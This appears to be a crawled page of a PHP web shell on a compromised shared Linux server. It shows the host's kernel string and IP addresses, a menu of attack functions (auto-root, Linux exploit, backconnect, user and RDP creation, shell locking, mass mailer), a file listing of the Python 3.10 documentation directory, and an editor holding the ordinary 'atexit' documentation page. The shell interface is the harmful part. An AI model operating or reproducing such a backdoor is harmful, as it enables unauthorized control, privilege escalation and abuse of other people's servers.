Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3.10 /
html /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3.html
70.96
KB
-rw-r--r--
__future__.html
20.75
KB
-rw-r--r--
__main__.html
44.87
KB
-rw-r--r--
_thread.html
30.39
KB
-rw-r--r--
abc.html
46.87
KB
-rw-r--r--
aifc.html
35.56
KB
-rw-r--r--
allos.html
34.33
KB
-rw-r--r--
archiving.html
17
KB
-rw-r--r--
argparse.html
300.89
KB
-rw-r--r--
array.html
37.28
KB
-rw-r--r--
ast.html
293.08
KB
-rw-r--r--
asynchat.html
37.41
KB
-rw-r--r--
asyncio-api-index.html
27.68
KB
-rw-r--r--
asyncio-dev.html
36.1
KB
-rw-r--r--
asyncio-eventloop.html
204.43
KB
-rw-r--r--
asyncio-exceptions.html
17.11
KB
-rw-r--r--
asyncio-future.html
38.23
KB
-rw-r--r--
asyncio-llapi-index.html
61.97
KB
-rw-r--r--
asyncio-platforms.html
21.77
KB
-rw-r--r--
asyncio-policy.html
39.56
KB
-rw-r--r--
asyncio-protocol.html
118.33
KB
-rw-r--r--
asyncio-queue.html
31.86
KB
-rw-r--r--
asyncio-stream.html
69.98
KB
-rw-r--r--
asyncio-subprocess.html
49.25
KB
-rw-r--r--
asyncio-sync.html
42.79
KB
-rw-r--r--
asyncio-task.html
109.14
KB
-rw-r--r--
asyncio.html
17.31
KB
-rw-r--r--
asyncore.html
49.36
KB
-rw-r--r--
atexit.html
22.87
KB
-rw-r--r--
audioop.html
46
KB
-rw-r--r--
audit_events.html
72.85
KB
-rw-r--r--
base64.html
48.09
KB
-rw-r--r--
bdb.html
66
KB
-rw-r--r--
binary.html
15.97
KB
-rw-r--r--
binascii.html
36.3
KB
-rw-r--r--
binhex.html
15.97
KB
-rw-r--r--
bisect.html
43.38
KB
-rw-r--r--
builtins.html
14.87
KB
-rw-r--r--
bz2.html
50.68
KB
-rw-r--r--
calendar.html
69.35
KB
-rw-r--r--
cgi.html
59.95
KB
-rw-r--r--
cgitb.html
19.96
KB
-rw-r--r--
chunk.html
22.21
KB
-rw-r--r--
cmath.html
43.89
KB
-rw-r--r--
cmd.html
50.42
KB
-rw-r--r--
code.html
35.38
KB
-rw-r--r--
codecs.html
157.96
KB
-rw-r--r--
codeop.html
18.26
KB
-rw-r--r--
collections.abc.html
79.17
KB
-rw-r--r--
collections.html
189.43
KB
-rw-r--r--
colorsys.html
17.31
KB
-rw-r--r--
compileall.html
50.68
KB
-rw-r--r--
concurrency.html
24.15
KB
-rw-r--r--
concurrent.futures.html
79.03
KB
-rw-r--r--
concurrent.html
11.56
KB
-rw-r--r--
configparser.html
159.4
KB
-rw-r--r--
constants.html
22.41
KB
-rw-r--r--
contextlib.html
117.2
KB
-rw-r--r--
contextvars.html
38.38
KB
-rw-r--r--
copy.html
17.92
KB
-rw-r--r--
copyreg.html
18.63
KB
-rw-r--r--
crypt.html
28.29
KB
-rw-r--r--
crypto.html
13.93
KB
-rw-r--r--
csv.html
82.89
KB
-rw-r--r--
ctypes.html
295.49
KB
-rw-r--r--
curses.ascii.html
32.04
KB
-rw-r--r--
curses.html
221.24
KB
-rw-r--r--
curses.panel.html
22.16
KB
-rw-r--r--
custominterp.html
11.85
KB
-rw-r--r--
dataclasses.html
113.16
KB
-rw-r--r--
datatypes.html
31.82
KB
-rw-r--r--
datetime.html
374.92
KB
-rw-r--r--
dbm.html
51.16
KB
-rw-r--r--
debug.html
17
KB
-rw-r--r--
decimal.html
270.12
KB
-rw-r--r--
development.html
32.34
KB
-rw-r--r--
devmode.html
31.72
KB
-rw-r--r--
dialog.html
43.03
KB
-rw-r--r--
difflib.html
111.99
KB
-rw-r--r--
dis.html
136.07
KB
-rw-r--r--
distribution.html
13.67
KB
-rw-r--r--
distutils.html
14.73
KB
-rw-r--r--
doctest.html
199.32
KB
-rw-r--r--
email.charset.html
31.92
KB
-rw-r--r--
email.compat32-message.html
97.74
KB
-rw-r--r--
email.contentmanager.html
37.02
KB
-rw-r--r--
email.encoders.html
18.47
KB
-rw-r--r--
email.errors.html
24.45
KB
-rw-r--r--
email.examples.html
60.49
KB
-rw-r--r--
email.generator.html
48.79
KB
-rw-r--r--
email.header.html
37.61
KB
-rw-r--r--
email.headerregistry.html
66.26
KB
-rw-r--r--
email.html
30.75
KB
-rw-r--r--
email.iterators.html
18.23
KB
-rw-r--r--
email.message.html
99.75
KB
-rw-r--r--
email.mime.html
44.89
KB
-rw-r--r--
email.parser.html
57.39
KB
-rw-r--r--
email.policy.html
84.24
KB
-rw-r--r--
email.utils.html
42.57
KB
-rw-r--r--
ensurepip.html
23.9
KB
-rw-r--r--
enum.html
151
KB
-rw-r--r--
errno.html
60.17
KB
-rw-r--r--
exceptions.html
108.44
KB
-rw-r--r--
faulthandler.html
31.5
KB
-rw-r--r--
fcntl.html
36.67
KB
-rw-r--r--
filecmp.html
32.08
KB
-rw-r--r--
fileformats.html
13.52
KB
-rw-r--r--
fileinput.html
40.37
KB
-rw-r--r--
filesys.html
16.78
KB
-rw-r--r--
fnmatch.html
21.02
KB
-rw-r--r--
fractions.html
35.29
KB
-rw-r--r--
frameworks.html
16.15
KB
-rw-r--r--
ftplib.html
71.97
KB
-rw-r--r--
functional.html
12.19
KB
-rw-r--r--
functions.html
260.33
KB
-rw-r--r--
functools.html
92.96
KB
-rw-r--r--
gc.html
40.97
KB
-rw-r--r--
getopt.html
29.4
KB
-rw-r--r--
getpass.html
16.01
KB
-rw-r--r--
gettext.html
98.02
KB
-rw-r--r--
glob.html
27.2
KB
-rw-r--r--
graphlib.html
34.82
KB
-rw-r--r--
grp.html
16.03
KB
-rw-r--r--
gzip.html
45.65
KB
-rw-r--r--
hashlib.html
93.19
KB
-rw-r--r--
heapq.html
42.43
KB
-rw-r--r--
hmac.html
24.74
KB
-rw-r--r--
html.entities.html
14.91
KB
-rw-r--r--
html.html
14.81
KB
-rw-r--r--
html.parser.html
47.7
KB
-rw-r--r--
http.client.html
85.63
KB
-rw-r--r--
http.cookiejar.html
113.94
KB
-rw-r--r--
http.cookies.html
47.64
KB
-rw-r--r--
http.html
45.52
KB
-rw-r--r--
http.server.html
73.05
KB
-rw-r--r--
i18n.html
13.44
KB
-rw-r--r--
idle.html
77.18
KB
-rw-r--r--
imaplib.html
87.08
KB
-rw-r--r--
imghdr.html
17.94
KB
-rw-r--r--
imp.html
54.32
KB
-rw-r--r--
importlib.html
239.96
KB
-rw-r--r--
importlib.metadata.html
43.14
KB
-rw-r--r--
index.html
75.06
KB
-rw-r--r--
inspect.html
168.74
KB
-rw-r--r--
internet.html
29.89
KB
-rw-r--r--
intro.html
13.81
KB
-rw-r--r--
io.html
154.15
KB
-rw-r--r--
ipaddress.html
137.75
KB
-rw-r--r--
ipc.html
12.6
KB
-rw-r--r--
itertools.html
153.27
KB
-rw-r--r--
json.html
98.9
KB
-rw-r--r--
keyword.html
14.88
KB
-rw-r--r--
language.html
16.71
KB
-rw-r--r--
linecache.html
18.09
KB
-rw-r--r--
locale.html
77.35
KB
-rw-r--r--
logging.config.html
100.3
KB
-rw-r--r--
logging.handlers.html
146.28
KB
-rw-r--r--
logging.html
169.67
KB
-rw-r--r--
lzma.html
66.89
KB
-rw-r--r--
mailbox.html
176.34
KB
-rw-r--r--
mailcap.html
20.86
KB
-rw-r--r--
markup.html
22.31
KB
-rw-r--r--
marshal.html
24.43
KB
-rw-r--r--
math.html
85.82
KB
-rw-r--r--
mimetypes.html
40.27
KB
-rw-r--r--
mm.html
11.16
KB
-rw-r--r--
mmap.html
55.53
KB
-rw-r--r--
modulefinder.html
23.67
KB
-rw-r--r--
modules.html
15.88
KB
-rw-r--r--
msilib.html
78.38
KB
-rw-r--r--
msvcrt.html
29.22
KB
-rw-r--r--
multiprocessing.html
405.24
KB
-rw-r--r--
multiprocessing.shared_memory....
60
KB
-rw-r--r--
netdata.html
20.24
KB
-rw-r--r--
netrc.html
20.39
KB
-rw-r--r--
nis.html
16.76
KB
-rw-r--r--
nntplib.html
84.93
KB
-rw-r--r--
numbers.html
45.67
KB
-rw-r--r--
numeric.html
19.29
KB
-rw-r--r--
operator.html
107.32
KB
-rw-r--r--
optparse.html
256.96
KB
-rw-r--r--
os.html
594.39
KB
-rw-r--r--
os.path.html
65.54
KB
-rw-r--r--
ossaudiodev.html
56.35
KB
-rw-r--r--
pathlib.html
170.01
KB
-rw-r--r--
pdb.html
68.67
KB
-rw-r--r--
persistence.html
19.13
KB
-rw-r--r--
pickle.html
154.45
KB
-rw-r--r--
pickletools.html
22.92
KB
-rw-r--r--
pipes.html
21.7
KB
-rw-r--r--
pkgutil.html
42.76
KB
-rw-r--r--
platform.html
45.08
KB
-rw-r--r--
plistlib.html
30.06
KB
-rw-r--r--
poplib.html
41.42
KB
-rw-r--r--
posix.html
20.96
KB
-rw-r--r--
pprint.html
55.35
KB
-rw-r--r--
profile.html
84.63
KB
-rw-r--r--
pty.html
23.7
KB
-rw-r--r--
pwd.html
16.84
KB
-rw-r--r--
py_compile.html
29
KB
-rw-r--r--
pyclbr.html
24.06
KB
-rw-r--r--
pydoc.html
19.59
KB
-rw-r--r--
pyexpat.html
104.38
KB
-rw-r--r--
python.html
22.46
KB
-rw-r--r--
queue.html
43.39
KB
-rw-r--r--
quopri.html
18.64
KB
-rw-r--r--
random.html
86.31
KB
-rw-r--r--
re.html
214.24
KB
-rw-r--r--
readline.html
50.19
KB
-rw-r--r--
reprlib.html
30.85
KB
-rw-r--r--
resource.html
48.26
KB
-rw-r--r--
rlcompleter.html
18.06
KB
-rw-r--r--
runpy.html
30.99
KB
-rw-r--r--
sched.html
27.04
KB
-rw-r--r--
secrets.html
30.2
KB
-rw-r--r--
security_warnings.html
16.21
KB
-rw-r--r--
select.html
74.58
KB
-rw-r--r--
selectors.html
41.91
KB
-rw-r--r--
shelve.html
36.54
KB
-rw-r--r--
shlex.html
61.03
KB
-rw-r--r--
shutil.html
100.13
KB
-rw-r--r--
signal.html
95.39
KB
-rw-r--r--
site.html
38.16
KB
-rw-r--r--
smtpd.html
44.09
KB
-rw-r--r--
smtplib.html
81.4
KB
-rw-r--r--
sndhdr.html
16.4
KB
-rw-r--r--
socket.html
256.95
KB
-rw-r--r--
socketserver.html
91.95
KB
-rw-r--r--
spwd.html
16.71
KB
-rw-r--r--
sqlite3.html
225.51
KB
-rw-r--r--
ssl.html
328.83
KB
-rw-r--r--
stat.html
57.79
KB
-rw-r--r--
statistics.html
123.22
KB
-rw-r--r--
stdtypes.html
615.43
KB
-rw-r--r--
string.html
108.03
KB
-rw-r--r--
stringprep.html
24.94
KB
-rw-r--r--
struct.html
70.58
KB
-rw-r--r--
subprocess.html
199.03
KB
-rw-r--r--
sunau.html
39.84
KB
-rw-r--r--
superseded.html
26.21
KB
-rw-r--r--
symtable.html
33.26
KB
-rw-r--r--
sys.html
198.83
KB
-rw-r--r--
sysconfig.html
39.81
KB
-rw-r--r--
syslog.html
27.36
KB
-rw-r--r--
tabnanny.html
16.18
KB
-rw-r--r--
tarfile.html
161.92
KB
-rw-r--r--
telnetlib.html
38.21
KB
-rw-r--r--
tempfile.html
58.39
KB
-rw-r--r--
termios.html
22.86
KB
-rw-r--r--
test.html
222.85
KB
-rw-r--r--
text.html
16.8
KB
-rw-r--r--
textwrap.html
48.83
KB
-rw-r--r--
threading.html
128.33
KB
-rw-r--r--
time.html
107.46
KB
-rw-r--r--
timeit.html
52.63
KB
-rw-r--r--
tk.html
28.08
KB
-rw-r--r--
tkinter.colorchooser.html
14.49
KB
-rw-r--r--
tkinter.dnd.html
17.09
KB
-rw-r--r--
tkinter.font.html
22.21
KB
-rw-r--r--
tkinter.html
106.85
KB
-rw-r--r--
tkinter.messagebox.html
20.09
KB
-rw-r--r--
tkinter.scrolledtext.html
14.52
KB
-rw-r--r--
tkinter.tix.html
59.69
KB
-rw-r--r--
tkinter.ttk.html
138.37
KB
-rw-r--r--
token.html
45.73
KB
-rw-r--r--
tokenize.html
39.86
KB
-rw-r--r--
trace.html
38.85
KB
-rw-r--r--
traceback.html
75.61
KB
-rw-r--r--
tracemalloc.html
122.33
KB
-rw-r--r--
tty.html
14.46
KB
-rw-r--r--
turtle.html
271.71
KB
-rw-r--r--
types.html
64.85
KB
-rw-r--r--
typing.html
315.69
KB
-rw-r--r--
unicodedata.html
27.3
KB
-rw-r--r--
unittest.html
310.01
KB
-rw-r--r--
unittest.mock-examples.html
177.75
KB
-rw-r--r--
unittest.mock.html
363.51
KB
-rw-r--r--
unix.html
13.46
KB
-rw-r--r--
urllib.error.html
18.56
KB
-rw-r--r--
urllib.html
12.92
KB
-rw-r--r--
urllib.parse.html
104.65
KB
-rw-r--r--
urllib.request.html
208.87
KB
-rw-r--r--
urllib.robotparser.html
22.63
KB
-rw-r--r--
uu.html
18.2
KB
-rw-r--r--
uuid.html
42.88
KB
-rw-r--r--
venv.html
90.43
KB
-rw-r--r--
warnings.html
69.13
KB
-rw-r--r--
wave.html
36.12
KB
-rw-r--r--
weakref.html
73.36
KB
-rw-r--r--
webbrowser.html
33.98
KB
-rw-r--r--
windows.html
12.32
KB
-rw-r--r--
winreg.html
89.48
KB
-rw-r--r--
winsound.html
26.3
KB
-rw-r--r--
wsgiref.html
111.52
KB
-rw-r--r--
xdrlib.html
42.07
KB
-rw-r--r--
xml.dom.html
114.66
KB
-rw-r--r--
xml.dom.minidom.html
49.6
KB
-rw-r--r--
xml.dom.pulldom.html
30.06
KB
-rw-r--r--
xml.etree.elementtree.html
186.49
KB
-rw-r--r--
xml.html
22.34
KB
-rw-r--r--
xml.sax.handler.html
55.78
KB
-rw-r--r--
xml.sax.html
31.74
KB
-rw-r--r--
xml.sax.reader.html
56.23
KB
-rw-r--r--
xml.sax.utils.html
22.28
KB
-rw-r--r--
xmlrpc.client.html
79.73
KB
-rw-r--r--
xmlrpc.html
11.9
KB
-rw-r--r--
xmlrpc.server.html
63.56
KB
-rw-r--r--
zipapp.html
52.45
KB
-rw-r--r--
zipfile.html
116.59
KB
-rw-r--r--
zipimport.html
33.76
KB
-rw-r--r--
zlib.html
42.29
KB
-rw-r--r--
zoneinfo.html
57.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : atexit.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="generator" content="Docutils 0.17.1: http://docutils.sourceforge.net/" /> <title>atexit — Exit handlers — Python 3.10.12 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" type="text/css" href="../_static/pygments.css" /> <link rel="stylesheet" type="text/css" href="../_static/pydoctheme.css?2022.1" /> <script data-url_root="../" id="documentation_options" src="../_static/documentation_options.js"></script> <script src="../_static/jquery.js"></script> <script src="../_static/underscore.js"></script> <script src="../_static/doctools.js"></script> <script src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 3.10.12 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="next" title="traceback — Print or retrieve a stack traceback" href="traceback.html" /> <link rel="prev" title="abc — Abstract Base Classes" href="abc.html" /> <link rel="canonical" href="file:///usr/share/doc/python3.10/html/library/atexit.html" /> <style> @media only screen { table.full-width-table { width: 100%; } } </style> <link rel="shortcut icon" type="image/png" href="../_static/py.svg" /> <script type="text/javascript" src="../_static/copybutton.js"></script> <script type="text/javascript" src="../_static/menu.js"></script> </head> <body> <div class="mobile-nav"> <input type="checkbox" id="menuToggler" class="toggler__input" aria-controls="navigation" aria-pressed="false" aria-expanded="false" role="button" aria-label="Menu" /> <label for="menuToggler" class="toggler__label"> <span></span> </label> <nav class="nav-content" role="navigation"> <a href="https://www.python.org/" class="nav-logo"> <img src="../_static/py.svg" alt="Logo"/> </a> <div class="version_switcher_placeholder"></div> <form role="search" class="search" action="../search.html" method="get"> <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" class="search-icon"> <path fill-rule="nonzero" d="M15.5 14h-.79l-.28-.27a6.5 6.5 0 001.48-5.34c-.47-2.78-2.79-5-5.59-5.34a6.505 6.505 0 00-7.27 7.27c.34 2.8 2.56 5.12 5.34 5.59a6.5 6.5 0 005.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0 .41-.41.41-1.08 0-1.49L15.5 14zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z" fill="#444"></path> </svg> <input type="text" name="q" aria-label="Quick search"/> <input type="submit" value="Go"/> </form> </nav> <div class="menu-wrapper"> <nav class="menu" role="navigation" aria-label="main navigation"> <div class="language_switcher_placeholder"></div> <h3><a href="../contents.html">Table of Contents</a></h3> <ul> <li><a class="reference internal" href="#"><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code> — Exit handlers</a><ul> <li><a class="reference internal" href="#atexit-example"><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code> Example</a></li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="abc.html" title="previous chapter"><code class="xref py py-mod docutils literal notranslate"><span class="pre">abc</span></code> — Abstract Base Classes</a></p> <h4>Next topic</h4> <p class="topless"><a href="traceback.html" title="next chapter"><code class="xref py py-mod docutils literal notranslate"><span class="pre">traceback</span></code> — Print or retrieve a stack traceback</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li> <a href="https://github.com/python/cpython/blob/3.10/Doc/library/atexit.rst" rel="nofollow">Show Source </a> </li> </ul> </div> </nav> </div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="traceback.html" title="traceback — Print or retrieve a stack traceback" accesskey="N">next</a> |</li> <li class="right" > <a href="abc.html" title="abc — Abstract Base Classes" accesskey="P">previous</a> |</li> <li><img src="../_static/py.svg" alt="python logo" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="https://www.python.org/">Python</a> »</li> <li class="switchers"> <div class="language_switcher_placeholder"></div> <div class="version_switcher_placeholder"></div> </li> <li> </li> <li id="cpython-language-and-version"> <a href="../index.html">3.10.12 Documentation</a> » </li> <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> »</li> <li class="nav-item nav-item-2"><a href="python.html" accesskey="U">Python Runtime Services</a> »</li> <li class="nav-item nav-item-this"><a href=""><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code> — Exit handlers</a></li> <li class="right"> <div class="inline-search" role="search"> <form class="inline-search" action="../search.html" method="get"> <input placeholder="Quick search" aria-label="Quick search" type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> | </li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <section id="module-atexit"> <span id="atexit-exit-handlers"></span><h1><a class="reference internal" href="#module-atexit" title="atexit: Register and execute cleanup functions."><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code></a> — Exit handlers<a class="headerlink" href="#module-atexit" title="Permalink to this headline">¶</a></h1> <hr class="docutils" /> <p>The <a class="reference internal" href="#module-atexit" title="atexit: Register and execute cleanup functions."><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code></a> module defines functions to register and unregister cleanup functions. Functions thus registered are automatically executed upon normal interpreter termination. <a class="reference internal" href="#module-atexit" title="atexit: Register and execute cleanup functions."><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code></a> runs these functions in the <em>reverse</em> order in which they were registered; if you register <code class="docutils literal notranslate"><span class="pre">A</span></code>, <code class="docutils literal notranslate"><span class="pre">B</span></code>, and <code class="docutils literal notranslate"><span class="pre">C</span></code>, at interpreter termination time they will be run in the order <code class="docutils literal notranslate"><span class="pre">C</span></code>, <code class="docutils literal notranslate"><span class="pre">B</span></code>, <code class="docutils literal notranslate"><span class="pre">A</span></code>.</p> <p><strong>Note:</strong> The functions registered via this module are not called when the program is killed by a signal not handled by Python, when a Python fatal internal error is detected, or when <a class="reference internal" href="os.html#os._exit" title="os._exit"><code class="xref py py-func docutils literal notranslate"><span class="pre">os._exit()</span></code></a> is called.</p> <div class="versionchanged"> <p><span class="versionmodified changed">Changed in version 3.7: </span>When used with C-API subinterpreters, registered functions are local to the interpreter they were registered in.</p> </div> <dl class="py function"> <dt class="sig sig-object py" id="atexit.register"> <span class="sig-prename descclassname"><span class="pre">atexit.</span></span><span class="sig-name descname"><span class="pre">register</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">func</span></span></em>, <em class="sig-param"><span class="o"><span class="pre">*</span></span><span class="n"><span class="pre">args</span></span></em>, <em class="sig-param"><span class="o"><span class="pre">**</span></span><span class="n"><span class="pre">kwargs</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#atexit.register" title="Permalink to this definition">¶</a></dt> <dd><p>Register <em>func</em> as a function to be executed at termination. Any optional arguments that are to be passed to <em>func</em> must be passed as arguments to <a class="reference internal" href="#atexit.register" title="atexit.register"><code class="xref py py-func docutils literal notranslate"><span class="pre">register()</span></code></a>. It is possible to register the same function and arguments more than once.</p> <p>At normal program termination (for instance, if <a class="reference internal" href="sys.html#sys.exit" title="sys.exit"><code class="xref py py-func docutils literal notranslate"><span class="pre">sys.exit()</span></code></a> is called or the main module’s execution completes), all functions registered are called in last in, first out order. The assumption is that lower level modules will normally be imported before higher level modules and thus must be cleaned up later.</p> <p>If an exception is raised during execution of the exit handlers, a traceback is printed (unless <a class="reference internal" href="exceptions.html#SystemExit" title="SystemExit"><code class="xref py py-exc docutils literal notranslate"><span class="pre">SystemExit</span></code></a> is raised) and the exception information is saved. After all exit handlers have had a chance to run, the last exception to be raised is re-raised.</p> <p>This function returns <em>func</em>, which makes it possible to use it as a decorator.</p> </dd></dl> <dl class="py function"> <dt class="sig sig-object py" id="atexit.unregister"> <span class="sig-prename descclassname"><span class="pre">atexit.</span></span><span class="sig-name descname"><span class="pre">unregister</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">func</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#atexit.unregister" title="Permalink to this definition">¶</a></dt> <dd><p>Remove <em>func</em> from the list of functions to be run at interpreter shutdown. <a class="reference internal" href="#atexit.unregister" title="atexit.unregister"><code class="xref py py-func docutils literal notranslate"><span class="pre">unregister()</span></code></a> silently does nothing if <em>func</em> was not previously registered. If <em>func</em> has been registered more than once, every occurrence of that function in the <a class="reference internal" href="#module-atexit" title="atexit: Register and execute cleanup functions."><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code></a> call stack will be removed. Equality comparisons (<code class="docutils literal notranslate"><span class="pre">==</span></code>) are used internally during unregistration, so function references do not need to have matching identities.</p> </dd></dl> <div class="admonition seealso"> <p class="admonition-title">See also</p> <dl class="simple"> <dt>Module <a class="reference internal" href="readline.html#module-readline" title="readline: GNU readline support for Python. (Unix)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">readline</span></code></a></dt><dd><p>Useful example of <a class="reference internal" href="#module-atexit" title="atexit: Register and execute cleanup functions."><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code></a> to read and write <a class="reference internal" href="readline.html#module-readline" title="readline: GNU readline support for Python. (Unix)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">readline</span></code></a> history files.</p> </dd> </dl> </div> <section id="atexit-example"> <span id="id1"></span><h2><a class="reference internal" href="#module-atexit" title="atexit: Register and execute cleanup functions."><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code></a> Example<a class="headerlink" href="#atexit-example" title="Permalink to this headline">¶</a></h2> <p>The following simple example demonstrates how a module can initialize a counter from a file when it is imported and save the counter’s updated value automatically when the program terminates without relying on the application making an explicit call into this module at termination.</p> <div class="highlight-python3 notranslate"><div class="highlight"><pre><span></span><span class="k">try</span><span class="p">:</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'counterfile'</span><span class="p">)</span> <span class="k">as</span> <span class="n">infile</span><span class="p">:</span> <span class="n">_count</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">infile</span><span class="o">.</span><span class="n">read</span><span class="p">())</span> <span class="k">except</span> <span class="ne">FileNotFoundError</span><span class="p">:</span> <span class="n">_count</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">def</span> <span class="nf">incrcounter</span><span class="p">(</span><span class="n">n</span><span class="p">):</span> <span class="k">global</span> <span class="n">_count</span> <span class="n">_count</span> <span class="o">=</span> <span class="n">_count</span> <span class="o">+</span> <span class="n">n</span> <span class="k">def</span> <span class="nf">savecounter</span><span class="p">():</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'counterfile'</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">outfile</span><span class="p">:</span> <span class="n">outfile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">'</span><span class="si">%d</span><span class="s1">'</span> <span class="o">%</span> <span class="n">_count</span><span class="p">)</span> <span class="kn">import</span> <span class="nn">atexit</span> <span class="n">atexit</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">savecounter</span><span class="p">)</span> </pre></div> </div> <p>Positional and keyword arguments may also be passed to <a class="reference internal" href="#atexit.register" title="atexit.register"><code class="xref py py-func docutils literal notranslate"><span class="pre">register()</span></code></a> to be passed along to the registered function when it is called:</p> <div class="highlight-python3 notranslate"><div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">goodbye</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">adjective</span><span class="p">):</span> <span class="nb">print</span><span class="p">(</span><span class="s1">'Goodbye </span><span class="si">%s</span><span class="s1">, it was </span><span class="si">%s</span><span class="s1"> to meet you.'</span> <span class="o">%</span> <span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">adjective</span><span class="p">))</span> <span class="kn">import</span> <span class="nn">atexit</span> <span class="n">atexit</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">goodbye</span><span class="p">,</span> <span class="s1">'Donny'</span><span class="p">,</span> <span class="s1">'nice'</span><span class="p">)</span> <span class="c1"># or:</span> <span class="n">atexit</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">goodbye</span><span class="p">,</span> <span class="n">adjective</span><span class="o">=</span><span class="s1">'nice'</span><span class="p">,</span> <span class="n">name</span><span class="o">=</span><span class="s1">'Donny'</span><span class="p">)</span> </pre></div> </div> <p>Usage as a <a class="reference internal" href="../glossary.html#term-decorator"><span class="xref std std-term">decorator</span></a>:</p> <div class="highlight-python3 notranslate"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">atexit</span> <span class="nd">@atexit</span><span class="o">.</span><span class="n">register</span> <span class="k">def</span> <span class="nf">goodbye</span><span class="p">():</span> <span class="nb">print</span><span class="p">(</span><span class="s1">'You are now leaving the Python sector.'</span><span class="p">)</span> </pre></div> </div> <p>This only works with functions that can be called without arguments.</p> </section> </section> <div class="clearer"></div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h3><a href="../contents.html">Table of Contents</a></h3> <ul> <li><a class="reference internal" href="#"><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code> — Exit handlers</a><ul> <li><a class="reference internal" href="#atexit-example"><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code> Example</a></li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="abc.html" title="previous chapter"><code class="xref py py-mod docutils literal notranslate"><span class="pre">abc</span></code> — Abstract Base Classes</a></p> <h4>Next topic</h4> <p class="topless"><a href="traceback.html" title="next chapter"><code class="xref py py-mod docutils literal notranslate"><span class="pre">traceback</span></code> — Print or retrieve a stack traceback</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li> <a href="https://github.com/python/cpython/blob/3.10/Doc/library/atexit.rst" rel="nofollow">Show Source </a> </li> </ul> </div> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="traceback.html" title="traceback — Print or retrieve a stack traceback" >next</a> |</li> <li class="right" > <a href="abc.html" title="abc — Abstract Base Classes" >previous</a> |</li> <li><img src="../_static/py.svg" alt="python logo" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="https://www.python.org/">Python</a> »</li> <li class="switchers"> <div class="language_switcher_placeholder"></div> <div 